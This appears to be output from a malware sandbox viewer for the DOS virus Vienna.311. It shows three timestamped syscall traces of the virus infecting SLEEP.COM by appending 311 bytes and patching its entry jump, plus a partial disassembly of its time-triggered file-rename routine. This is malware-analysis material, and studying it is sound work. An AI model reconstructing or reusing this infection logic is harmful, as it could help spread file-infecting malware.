Sample viewer

vx.netlux.org/Virus.DOS.Vienna.311

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:52:23.128024169Z 48 PC: 12aba | Get DOS version
2018-12-17T22:52:23.129816216Z 26 PC: 12ac7 | Set disk transfer address
2018-12-17T22:52:23.132145231Z 78 PC: 12ad3 | Find first file
2018-12-17T22:52:23.139099945Z 67 PC: 12b05 | Get or set file attributes
2018-12-17T22:52:23.156926673Z 61 PC: 12b0a | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:52:23.165580359Z 63 PC: 12b1d | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:52:23.17369385Z 66 PC: 12b2c | Move file pointer
2018-12-17T22:52:23.175645606Z 64 PC: 12b50 | Write file or device (Write 311 bytes on handle 5)
2018-12-17T22:52:23.185811974Z 66 PC: 12b5a | Move file pointer
2018-12-17T22:52:23.187799618Z 64 PC: 12b71 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:52:23.195223103Z 87 PC: 12b7c | Get or set file date and time
2018-12-17T22:52:23.198121727Z 62 PC: 12b80 | Close file
2018-12-17T22:52:23.20741202Z 67 PC: 12b8a | Get or set file attributes
2018-12-17T22:52:23.218433383Z 26 PC: 12b91 | Set disk transfer address
2018-12-17T22:52:23.220430705Z 44 PC: 12b95 | Get time 0x12b95: and dh, 0xa
0x12b98: cmp dh, 0
0x12b9b: jne 0x12baf
0x12b9d: push es
0x12b9e: mov ax, ds
0x12ba0: mov es, ax
0x12ba2: sub di, 0x4b
0x12ba5: mov dx, di
0x12ba7: add di, 0xc
0x12baa: mov ah, 0x56
0x12bac: int 0x21
0x12bae: pop es
0x12baf: pop ax
0x12bb0: mov dx, 0x100
0x12bb3: push dx
0x12bb4: ret
0x12bb5: inc bx
0x12bb6: dec di
0x12bb7: dec bp
0x12bb8: dec bp

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":2,"TimeBased":true,"OriginalID":10865,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:24.058500932Z 48 PC: 12aba | Get DOS version
2018-12-25T12:29:24.069561529Z 26 PC: 12ac7 | Set disk transfer address
2018-12-25T12:29:24.071477771Z 78 PC: 12ad3 | Find first file
2018-12-25T12:29:24.078674736Z 67 PC: 12b05 | Get or set file attributes
2018-12-25T12:29:24.097964347Z 61 PC: 12b0a | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:29:24.105729719Z 63 PC: 12b1d | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:29:24.113841492Z 66 PC: 12b2c | Move file pointer
2018-12-25T12:29:24.116194161Z 64 PC: 12b50 | Write file or device (Write 311 bytes on handle 5)
2018-12-25T12:29:24.126148447Z 66 PC: 12b5a | Move file pointer
2018-12-25T12:29:24.128260893Z 64 PC: 12b71 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:29:24.136802612Z 87 PC: 12b7c | Get or set file date and time
2018-12-25T12:29:24.139895395Z 62 PC: 12b80 | Close file
2018-12-25T12:29:24.149391952Z 67 PC: 12b8a | Get or set file attributes
2018-12-25T12:29:24.171170761Z 26 PC: 12b91 | Set disk transfer address
2018-12-25T12:29:24.173482078Z 44 PC: 12b95 | Get time 0x12b95: and dh, 0xa
0x12b98: cmp dh, 0
0x12b9b: jne 0x12baf
0x12b9d: push es
0x12b9e: mov ax, ds
0x12ba0: mov es, ax
0x12ba2: sub di, 0x4b
0x12ba5: mov dx, di
0x12ba7: add di, 0xc
0x12baa: mov ah, 0x56
0x12bac: int 0x21
0x12bae: pop es
0x12baf: pop ax
0x12bb0: mov dx, 0x100
0x12bb3: push dx
0x12bb4: ret
0x12bb5: inc bx
0x12bb6: dec di
0x12bb7: dec bp
0x12bb8: dec bp
2018-12-25T12:29:24.176577081Z 86 PC: 12bae | Rename file

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":10865,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:29:24.107027142Z 48 PC: 12aba | Get DOS version
2018-12-25T12:29:24.109636111Z 26 PC: 12ac7 | Set disk transfer address
2018-12-25T12:29:24.111034707Z 78 PC: 12ad3 | Find first file
2018-12-25T12:29:24.117223713Z 67 PC: 12b05 | Get or set file attributes
2018-12-25T12:29:24.132257269Z 61 PC: 12b0a | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:29:24.154878018Z 63 PC: 12b1d | Read file or device (Read 3 bytes on handle 5)
2018-12-25T12:29:24.16172625Z 66 PC: 12b2c | Move file pointer
2018-12-25T12:29:24.163293292Z 64 PC: 12b50 | Write file or device (Write 311 bytes on handle 5)
2018-12-25T12:29:24.171817317Z 66 PC: 12b5a | Move file pointer
2018-12-25T12:29:24.173351248Z 64 PC: 12b71 | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:29:24.179796416Z 87 PC: 12b7c | Get or set file date and time
2018-12-25T12:29:24.182348483Z 62 PC: 12b80 | Close file
2018-12-25T12:29:24.196032321Z 67 PC: 12b8a | Get or set file attributes
2018-12-25T12:29:24.206871641Z 26 PC: 12b91 | Set disk transfer address
2018-12-25T12:29:24.21531059Z 44 PC: 12b95 | Get time 0x12b95: and dh, 0xa
0x12b98: cmp dh, 0
0x12b9b: jne 0x12baf
0x12b9d: push es
0x12b9e: mov ax, ds
0x12ba0: mov es, ax
0x12ba2: sub di, 0x4b
0x12ba5: mov dx, di
0x12ba7: add di, 0xc
0x12baa: mov ah, 0x56
0x12bac: int 0x21
0x12bae: pop es
0x12baf: pop ax
0x12bb0: mov dx, 0x100
0x12bb3: push dx
0x12bb4: ret
0x12bb5: inc bx
0x12bb6: dec di
0x12bb7: dec bp
0x12bb8: dec bp